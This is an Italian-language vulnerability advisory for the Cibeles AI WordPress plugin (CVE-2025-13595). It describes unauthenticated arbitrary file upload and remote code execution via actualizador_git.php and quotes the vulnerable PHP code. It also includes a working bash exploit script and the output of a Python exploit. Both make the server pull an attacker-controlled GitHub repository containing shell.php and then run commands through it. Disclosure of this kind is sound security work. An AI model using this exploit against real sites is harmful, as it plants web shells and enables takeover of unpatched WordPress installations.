
CIBELES AI <= 1.10.8 - Caricamento Arbitrario di File senza Autenticazione
Il plugin WordPress Cibeles AI nelle versioni 1.10.8 e precedenti contiene una vulnerabilità di esecuzione remota di codice non autenticata nel file actualizador_git.php. Questo file è accessibile direttamente via HTTP senza alcun controllo di autenticazione o autorizzazione, consentendo ad attaccanti non autenticati di scaricare repository GitHub arbitrari e sovrascrivere i file del plugin, portando all'esecuzione remota di codice.
Viene fornito CVE-2025-13595.py per dimostrare un attaccante remoto che carica shell.php ed esegue codice remoto:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
La vulnerabilità risiede in /wp-content/plugins/cibeles-ai/actualizador_git.php. Questo file implementa un sistema di mirroring di repository GitHub che può essere accessibile direttamente via HTTP senza alcun controllo di sicurezza.
Accesso Diretto al File (Righe 1-17):
Il file manca del controllo standard WordPress ABSPATH (if (!defined('ABSPATH')) exit;) che impedisce l'accesso HTTP diretto. I parametri vengono letti direttamente da $_GET senza validazione:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_cibeles-ai';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
Validazione del Token (Riga 26): L'unica validazione verifica se il token è vuoto o il valore predefinito. Non viene eseguita alcuna autenticazione o autorizzazione:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
Richiesta API GitHub (Riga 31, 35-58): Lo script scarica un file ZIP dall'API di GitHub utilizzando parametri controllati dall'utente:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
La funzione curl_download() invia il token nell'header Authorization ma non esegue alcuna validazione del proprietario o del contenuto del repository.
Estrazione ZIP e Operazioni sui File (Righe 133-158): Il ZIP scaricato viene estratto e i file vengono copiati direttamente nella directory del plugin:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
La funzione rrcopy_into() copia ricorsivamente tutti i file dal repository estratto alla directory di lavoro corrente (directory del plugin), sovrascrivendo i file esistenti.
Eliminazione dei File (Righe 152-154): I file non presenti nel repository scaricato vengono eliminati:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
La funzione mirror_delete_extras() elimina tutti i file nella directory del plugin che non esistono nel manifest del repository.